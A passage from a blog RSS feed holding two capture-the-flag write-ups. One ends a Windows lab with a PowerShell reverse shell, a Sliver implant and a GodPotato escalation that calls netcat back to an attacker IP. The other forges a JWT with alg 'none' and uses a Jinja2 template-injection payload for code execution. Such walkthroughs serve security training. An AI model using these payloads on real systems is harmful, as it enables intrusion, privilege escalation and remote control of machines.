-gt 1) { $Output = try { Invoke-Expression ($Code) 2&gt;&amp;1 } catch { $_ }; $StreamWriter.Write(&quot;$Output`n&quot;); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()</pre><p>Step 3: Let’s start the listener and put that edited Script on the share.</p><pre>nc -nlvp 443</pre><p>now put the file on the Share</p><pre>■[\\10.48.187.214\Enterprise-Share\]&gt; put PurgeIrrelevantData_1826.ps1<br>&#39;PurgeIrrelevantData_1826.ps1&#39; ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 797/797 bytes • ? • 0:00:00<br>■[\\10.48.187.214\Enterprise-Share\]&gt;</pre><p>Nice We got a reverse shell.</p><pre>Listening on 0.0.0.0 443<br>Connection received on 10.48.187.214 49981<br>whoami<br>vulnnet\enterprise-security<br>pwd<br>C:\Users\enterprise-security\Downloads<br>dir<br>nssm-2.24–101-g897c7ad Redis-x64–2.8.2402 startup.bat</pre><p>but it looks very unstable let’s quickly generate a sliver implant and get a stable shell.<br>Getting Stable Shell<br>As we have Write Access to Enterprise share let’s Locate the Location of that share where it’s being hosted then we will put the implant and then execute that with our unstable shell.</p><pre>cd C:\<br>dir<br>badr Enterprise-Share PerfLogs Program Files Program Files (x86) Users Windows<br>cd Enterprise-Share<br>dir<br>PurgeIrrelevantData_1826.ps1<br>pwd<br>C:\Enterprise-Share</pre><p>Nice it’s located at C:\Enterprise-Share let’s generate sliver Implant and get the stable shell</p><pre>╰─λ sliver-server<br>. - - - .. - - - .. - - - .. - - - .. - - - .. - - - .<br>|S. - . ||L. - . ||I. - . ||V. - . ||E. - . ||R. - . |<br>| :/\: || :/\: || (\/) || :(): || (\/) || :(): |<br>| :\/: || (__) || :\/: || ()() || :\/: || ()() |<br>| &#39; - &#39;S|| &#39; - &#39;L|| &#39; - &#39;I|| &#39; - &#39;V|| &#39; - &#39;E|| &#39; - &#39;R|<br>` - - - &#39;` - - - &#39;` - - - &#39;` - - - &#39;` - - - &#39;` - - - &#39;<br>All hackers gain hidden agenda<br>[*] Server v1.7.2 - c3582fc20372e9e6263181b07a8e6d31859658da<br>[*] Welcome to the sliver shell, please type &#39;help&#39; for options<br>[server] sliver &gt; generate - mtls &lt;Attacker-IP&gt; - os windows - arch amd64<br>[*] Generating new windows/amd64 implant binary<br>[*] Symbol obfuscation is enabled<br>[*] Build completed in 3m16s<br>[*] Implant saved to /home/kali/MASSIVE_CHAPTER.exe<br>[server] sliver &gt;</pre><p>now just upload it using put and execute that from shell.</p><pre>■[\\10.48.187.214\Enterprise-Share\]&gt; put MASSIVE_CHAPTER.exe<br>&#39;MASSIVE_CHAPTER.exe&#39; ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 34.6/34.6 MB • 251.5 kB/s • 0:00:00<br>■[\\10.48.187.214\Enterprise-Share\]&gt;</pre><p>Uploaded.<br>Now Execute that from reverse shell.</p><pre>.\MASSIVE_CHAPTER.exe</pre><p>Boom we got a session on our sliver-server</p><pre>[*] Session 84193a7b MASSIVE_CHAPTER - 10.48.187.214:50082 (VULNNET-BC3TCK1SHNQ) - windows/amd64 - Fri, 06 Mar 2026 19:37:46 PKT<br>[server] sliver &gt; sessions<br>ID Name Transport Remote Address Hostname Username Process (PID) Integrity Operating System Locale Last Message Health<br>========== ================= =========== ===================== ===================== ============================= ================================================ =========== ================== ======== ======================================== =========<br> 84193a7b MASSIVE_CHAPTER mtls 10.48.187.214:50082 VULNNET-BC3TCK1SHNQ VULNNET\enterprise-security C:\Enterprise-Share\MASSIVE_CHAPTER.exe (2936) - windows/amd64 en-US Fri Mar 6 19:37:46 PKT 2026 (15s ago) [ALIVE]<br>[server] sliver &gt;</pre><p>let’s Interact with session</p><pre>use session &lt;SESSION-ID&gt;</pre><pre>[server] sliver &gt; use sessions 84193a7b<br>[*] Active session MASSIVE_CHAPTER (84193a7b-e268–45f2–84e6–0be709782fdc)<br>[server] sliver (MASSIVE_CHAPTER) &gt; shell<br>[*] Shell management: `shell ls`, `shell attach &lt;id&gt;`<br>[*] Escape: press Ctrl-] to return to the Sliver client<br>[*] Opening shell tunnel …<br>[*] Started remote shell [1] with pid 3708<br>PS C:\Enterprise-Share&gt; wh<br>PS C:\Enterprise-Share<br>PS C:\Enterprise-Share&gt; whoami<br>whoami<br>vulnnet\enterprise-security</pre><p>We got the shell now just time to elevate our privileges.</p><h3>Privilege Escalation</h3><p>So we are the enterprise-security user on the machine let’s get more details about current user.</p><pre>PS C:\Enterprise-Share&gt; whoami /all<br>whoami /all<br>USER INFORMATION<br> - - - - - - - - <br>User Name SID<br>=========================== ============================================<br>vulnnet\enterprise-security S-1–5–21–1405206085–1650434706–76331420–1103<br>GROUP INFORMATION<br> - - - - - - - - -<br>Group Name Type SID Attributes<br>========================================== ================ ============ ==================================================<br>Everyone Well-known group S-1–1–0 Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Users Alias S-1–5–32–545 Mandatory group, Enabled by default, Enabled group<br>BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1–5–32–554 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\SERVICE Well-known group S-1–5–6 Mandatory group, Enabled by default, Enabled group<br>CONSOLE LOGON Well-known group S-1–2–1 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\Authenticated Users Well-known group S-1–5–11 Mandatory group, Enabled by default, Enabled group<br>NT AUTHORITY\This Organization Well-known group S-1–5–15 Mandatory group, Enabled by default, Enabled group<br>LOCAL Well-known group S-1–2–0 Mandatory group, Enabled by default, Enabled group<br>Authentication authority asserted identity Well-known group S-1–18–1 Mandatory group, Enabled by default, Enabled group<br>Mandatory Label\High Mandatory Level Label S-1–16–12288<br>PRIVILEGES INFORMATION<br> - - - - - - - - - - - <br>Privilege Name Description State<br>============================= ========================================= ========<br>SeMachineAccountPrivilege Add workstations to domain Disabled<br>SeChangeNotifyPrivilege Bypass traverse checking Enabled<br>SeImpersonatePrivilege Impersonate a client after authentication Enabled<br>SeCreateGlobalPrivilege Create global objects Enabled<br>SeIncreaseWorkingSetPrivilege Increase a process working set Disabled<br>USER CLAIMS INFORMATION<br> - - - - - - - - - - - -<br>User claims unknown.<br>Kerberos support for Dynamic Access Control on this device has been disabled.<br>PS C:\Enterprise-Share&gt;</pre><p>Interesting we got more details but there is an interesting Privilege we have. SeImpersonatePrivilege we can exploit this to gain Higher Access.<br>we are using GodPotato from the Potato Family Attacks.</p><p><a href="https://github.com/BeichenDream/GodPotato">GitHub - BeichenDream/GodPotato</a></p><p>and we also need netcat binary for windows x64</p><p><a href="https://github.com/rahuldottech/netcat-for-windows/releases">Releases · rahuldottech/netcat-for-windows</a></p><p>now let’s follow the instructions from the Github repo and gain the NT Authority Access.<br>we uploaded the files using sliver upload module<br>Start Listener on Attacker Machine and Execute GodPotato for reverse shell</p><pre>PS C:\Enterprise-Share&gt; .\GodPotato-NET4.exe -cmd &quot;.\nc64.exe -t -e C:\Windows\System32\cmd.exe &lt;Attacker-IP&gt; 4444&quot;<br>.\GodPotato-NET4.exe -cmd &quot;.\nc64.exe -t -e C:\Windows\System32\cmd.exe 192.168.244.18 4444&quot;<br>[*] CombaseModule: 0x140719314305024<br>[*] DispatchTable: 0x140719316622512<br>[*] UseProtseqFunction: 0x140719316001408<br>[*] UseProtseqFunctionParamCount: 6<br>[*] HookRPC<br>[*] Start PipeServer<br>[*] CreateNamedPipe \\.\pipe\695eba75–554b-4a23-aabc-63e35c46d53f\pipe\epmapper<br>[*] Trigger RPCSS<br>[*] DCOM obj GUID: 00000000–0000–0000-c000–000000000046<br>[*] DCOM obj IPID: 00005802–0f9c-ffff-3d87–089f60743133<br>[*] DCOM obj OXID: 0x6f073fb7bae7a2aa<br>[*] DCOM obj OID: 0x3fc5f94667998625<br>[*] DCOM obj Flags: 0x281<br>[*] DCOM obj PublicRefs: 0x0<br>[*] Marshal Object bytes len: 100<br>[*] UnMarshal Object<br>[*] Pipe Connected!<br>[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE<br>[*] CurrentsImpersonationLevel: Impersonation<br>[*] Start Search System Token<br>[*] PID : 856 Token:0x376 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation<br>[*] Find System Token : True<br>[*] UnmarshalObject: 0x80070776<br>[*] CurrentUser: NT AUTHORITY\SYSTEM<br>[*] process start with pid 608</pre><p>cool we got a shell.</p><pre>╰─λ nc -nlvp 4444<br>Listening on 0.0.0.0 4444<br>Connection received on 10.48.132.94 49994<br>Microsoft Windows [Version 10.0.17763.1757]<br>© 2018 Microsoft Corporation. All rights reserved.<br>C:\Windows\system32&gt;whoami<br>whoami<br>C:\Windows\system32&gt;whoami /all<br>whoami /all<br>C:\Windows\system32&gt;cd C:\Users<br>cd C:\Users<br>C:\Users&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is AAC5-C2C2<br>Directory of C:\Users<br>02/23/2021 02:02 PM &lt;DIR&gt; .<br>02/23/2021 02:02 PM &lt;DIR&gt; ..<br>02/23/2021 08:19 PM &lt;DIR&gt; Administrator<br>02/26/2021 12:09 PM &lt;DIR&gt; enterprise-security<br>02/22/2021 11:46 AM &lt;DIR&gt; Public<br> 0 File(s) 0 bytes<br> 5 Dir(s) 21,021,360,128 bytes free<br>C:\Users&gt;cd Administrator\Desktop<br>cd Administrator\Desktop<br>C:\Users\Administrator\Desktop&gt;dir<br>dir<br> Volume in drive C has no label.<br> Volume Serial Number is AAC5-C2C2<br>Directory of C:\Users\Administrator\Desktop<br>02/23/2021 08:27 PM &lt;DIR&gt; .<br>02/23/2021 08:27 PM &lt;DIR&gt; ..<br>02/23/2021 08:27 PM 37 system.txt<br> 1 File(s) 37 bytes<br> 2 Dir(s) 21,020,901,376 bytes free<br>C:\Users\Administrator\Desktop&gt;type system.txt<br>type system.txt<br>THM{&lt;REDACTED&gt;}<br>C:\Users\Administrator\Desktop&gt;</pre><p>We’ve Solved the Lab Congratulations<br>This machine showed how a complete system compromise can be achieved by chaining together improperly configured services and lax access controls. Each step demonstrated typical real-world methods used during Windows penetration testing, from Redis enumeration to NTLM hash capture, SMB abuse, and ultimately privilege escalation using a Potato-style attack.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=341e0835ca73" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intigriti Challenge 1125: Remote Code Execution via JWT Bypass & SSTI]]></title>
            <link>https://medium.com/@phantom_hat/intigriti-challenge-1125-remote-code-execution-via-jwt-bypass-ssti-af66a948c56f?source=rss-51d141216272------2</link>
            <guid isPermaLink="false">https://medium.com/p/af66a948c56f</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[jwt-exploitation]]></category>
            <category><![CDATA[ssti-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[intigriti]]></category>
            <dc:creator><![CDATA[phantom_hat]]></dc:creator>
            <pubDate>Tue, 25 Nov 2025 12:00:16 GMT</pubDate>
            <atom:updated>2025-11-25T12:00:16.391Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله الرحمن الرحيم</p><h3>Intigriti Challenge 1125: Remote Code Execution via JWT Bypass &amp; SSTI</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gv-cMVpRXxKZ9Hpdu_95Vw.png" /></figure><p><strong>Author</strong>: [phantom_hat]<br><strong>Date</strong>: November 23, 2025<br><strong>Challenge</strong>: <a href="https://challenge-1125.intigriti.io/">https://challenge-1125.intigriti.io</a><br><strong>Flag</strong>: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}</p><h3>Summary</h3><p>This challenge exposed a critical vulnerability chain in an e-commerce application. By exploiting JWT algorithm confusion (alg: none), I gained administrative access without credentials. This elevated access revealed a Server-Side Template Injection (SSTI) vulnerability in the admin profile page, ultimately leading to Remote Code Execution and flag capture.</p><p><strong>Attack Path</strong>:</p><pre>Unauthenticated User → JWT None Algorithm → Admin Access → SSTI → RCE</pre><h3>Enumeration</h3><p>This website has some pages mentioned below.</p><ol><li>/shop</li><li>/cart</li><li>/browse</li><li>/login</li><li>/register</li><li>/products/&lt;product-id&gt;</li><li>/cart/add</li><li>/cart/add/&lt;product-id&gt;</li><li>/cart/remove/&lt;product-id&gt;</li><li>/dashboard</li><li>/admin</li><li>/admin/products</li><li>/admin/profile</li><li>/admin/users</li><li>/admin/orders</li></ol><p>It Looks like a normal E-Commerce Website have some endpoints to add or remove product from cart and product page</p><p>Lets Register a user to enumerate as authenticated user so that we can inspect more features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zW-W9zaAl9jTwL96Ya0hfw.png" /></figure><p>We have registered a user successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ieonmz-CYtCO6tmDqPTArg.png" /></figure><p>and we redirected to /dashboard when Looking closely to the request we saw a JWT Token is set to our account as a cookie let&#39;s decode it to get it&#39;s content. There is also another cookie looks like a JWT we will decode them both to see what is this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HO6mKy_-Fqg2l8nT0VcLEA.png" /></figure><h3>Privilege Escalation by Exploiting JWT</h3><p>Now we have a JWT Token let’s quickly test it for JWT Vulnerabilities to test is it vulnerable so that we can escalate our privileges to Admin.</p><h3>Tools Used</h3><ol><li><a href="https://jwt.io/">https://jwt.io</a></li></ol><p>We use jwt.io to decode and encode JWT Tokens. We have two cookies 1st is session= and 2nd token= as name suggests session token it is JWT related to authorization. let&#39;s decode them and see in which cookie we have to focus.</p><h4>token analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JKnOIvkd5Tb4uX1T2fh1A.png" /></figure><pre>{<br>  &quot;alg&quot;: &quot;HS256&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>The Header part tells us two things.</p><ol><li>The token type is JWT.</li><li>Encryption Algorithm is HS256.</li></ol><pre>{<br>  &quot;user_id&quot;: 8,<br>  &quot;username&quot;: &quot;author&quot;,<br>  &quot;role&quot;: &quot;user&quot;,<br>  &quot;exp&quot;: 1764004390<br>}</pre><ol><li>This is the Payload Part which tells us some juicy things we have to focus.</li><li>user_id our current user id is 8.</li><li>username our username is author.</li><li>role our role which is user.</li><li>exp tells the expiry date of our token. not much interesting you can use <a href="https://cyberchef.io/">Cyber Chef</a> to translate this Unix Timestamp.</li></ol><h4>session analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NcDOrdRdQZ-ZtY2oWtRejA.png" /></figure><pre>{<br>  &quot;_flashes&quot;: [<br>    {<br>      &quot; t&quot;: [<br>        &quot;success&quot;,<br>        &quot;Account created successfully!&quot;<br>      ]<br>    }<br>  ],<br>  &quot;cart&quot;: []<br>}</pre><ol><li>The Header part tells us.</li><li>_flashes: Flask flash messages (temporary UI notifications)</li><li>&quot; t&quot;: <strong>Weird key with space</strong> - likely typo or encoding issue</li><li>cart: Empty shopping cart array</li><li>and some junk in payload</li></ol><h4>Analysis Conclusion</h4><ul><li>The session= cookie is just a flask session cookie not much interesting.</li><li>token= cookie is interesting because it contains role and user_id</li><li>If we modify the role and change that to Admin role then we can escalate privileges to Admin</li><li><strong><em>The Problem</em></strong> if we modify the payload the signature of the JWT changed and we cannot sign that.</li><li><strong><em>The Solution</em></strong> we have to know the secret key which is used to sign that token. we don’t have the secret key. we can try brute force weak signing key or try a None Algorithm attack.</li><li>first try none attack because brute force attack may fail if the JWT key is strong.</li></ul><h3>JWT None Attack</h3><p>Confuse the Algorithm that the encryption Algorithm is none so it doesn’t requires Secret key.</p><p><strong>STEP 1:</strong> modify the JWT payload and change the role value to admin.</p><pre>{<br>  &quot;user_id&quot;: 8,<br>  &quot;username&quot;: &quot;author&quot;,<br>  &quot;role&quot;: &quot;admin&quot;,<br>  &quot;exp&quot;: 1764004390<br>}</pre><p><strong>STEP 2:</strong> Change the alg value to none so that it doesn&#39;t check the algorithm. None Algorithm doesn&#39;t require secret key so it doesn&#39;t get encrypted.</p><pre>{<br>  &quot;alg&quot;: &quot;none&quot;,<br>  &quot;typ&quot;: &quot;JWT&quot;<br>}</pre><p>This is the final JWT Payload</p><pre>eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjo4LCJ1c2VybmFtZSI6ImF1dGhvciIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTc2NDAwNDM5MH0.</pre><p><strong>Note Trailing dot is important because it is a structural requirement of the JWT standard, which mandates that a token consists of three parts separated by dots:</strong> header.payload.signature</p><p><strong>STEP 3:</strong> Now Everything is done set this token to the token= cookie using devtools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lAMFKIHTRizaZtMveY6BZw.png" /></figure><p><strong>STEP 4:</strong> Now save it and refresh the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PM7CnviUmZGEuPmq8AdFbg.png" /></figure><p>Now we are admin mentioned in Role and we have an Admin panel which looks Interesting.</p><h3>Enumeration as Admin</h3><p>Some new pages unlocked</p><ol><li>/admin</li><li>/admin/products</li><li>/admin/profile</li><li>/admin/users</li><li>/admin/orders only one page /admin/profile is interactive and have a functionality to change display name of the user. and other pages are not much interactive only expect Back Button. so we have one page with one functionality to change the display name let&#39;s check it.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mCQpv2repq8-MI4g9T3FCQ.png" /></figure><p>Nice the name is reflecting we have a vector for SSTI / XSS</p><h3>Thought Process</h3><p>As mentioned in CTF Description we have to take RCE and Self XSS is not needed so we have a clear indicator we have to try SSTI and SSTI is a perfect Vuln for this situation which can help us to gain RCE.</p><h3>SSTI to RCE</h3><p>Now we have to exploit SSTI to get RCE and Read the flag.</p><h3>Identifying SSTI</h3><p>As our Enumeration the backend server is running on flask as we know about that by flask session cookie. In flask we can also use template engine.</p><h4>Templating Libraries</h4><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md#templating-libraries">Python Template Libraries</a></p><p>Template | NamePayload <br>FormatBottle {{ }}<br>Chameleon ${ }<br>Cheetah ${ }<br>Django {{ }}<br>Jinja2 {{ }}<br>Mako ${ }<br>Pystache {{ }}<br>Tornado {{ }}</p><p>Usually the syntax is {{ }} so use this to identify the vulnerability and if {{ }} fails we will try the other syntax ${} . we may also use SSTI polyglot but we know that the backend is running on flask so we may try payload according to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-sJ2TIfGdBIfu7Ej0wtSA.png" /></figure><p>Cool we’ve confirmed SSTI and according to our template syntax tables it is one the templating engine which uses {{ }} syntax let&#39;s try more.</p><pre>{{7*&#39;7&#39;}}</pre><p>let’s try this payload if it returns 7777777 then it is jinja2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruPWH_fNh7x0xTealF76IA.png" /></figure><p>Confirmed it is Jinja2.</p><h3>SSTI Exploitation</h3><p>I’ve tried payload to enumerate config and other things but i think these are filtered or not getting executed or something went wrong with them. but luckily i got a payload from payload all things.</p><pre>{{self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;id&#39;).read()}}</pre><p><strong>1. Object Chain Navigation:</strong></p><ul><li>self → Current template object</li><li>__init__ → Constructor method (gives access to class internals)</li><li>__globals__ → Global namespace dictionary (contains all imports/functions)</li><li>__builtins__ → Built-in Python functions dictionary</li><li>__import__(&#39;os&#39;) → Dynamically imports the os module</li></ul><p><strong>2. Command Execution:</strong></p><ul><li>popen(&#39;id&#39;) → Executes shell command id (shows user/group info)</li><li>.read() → Reads the command output as string</li><li><strong>Result</strong>: Template renders the output of id command (e.g., uid=999(appuser) gid=999(appuser) groups=999(appuser))</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KDdMSZETzu_BsYMzs-RHqw.png" /></figure><p>and we got RCE. Now we can modify it to read flag.</p><pre>{{self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;cat .aquacommerce/019a82cf.txt&#39;).read()}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JtWD4BaBDdC7j-hVuIqyCw.png" /></figure><pre>INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}</pre><h3>References</h3><ol><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Python.md</a></li><li><a href="https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-jwt-vulnerabilities">https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-jwt-vulnerabilities</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af66a948c56f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>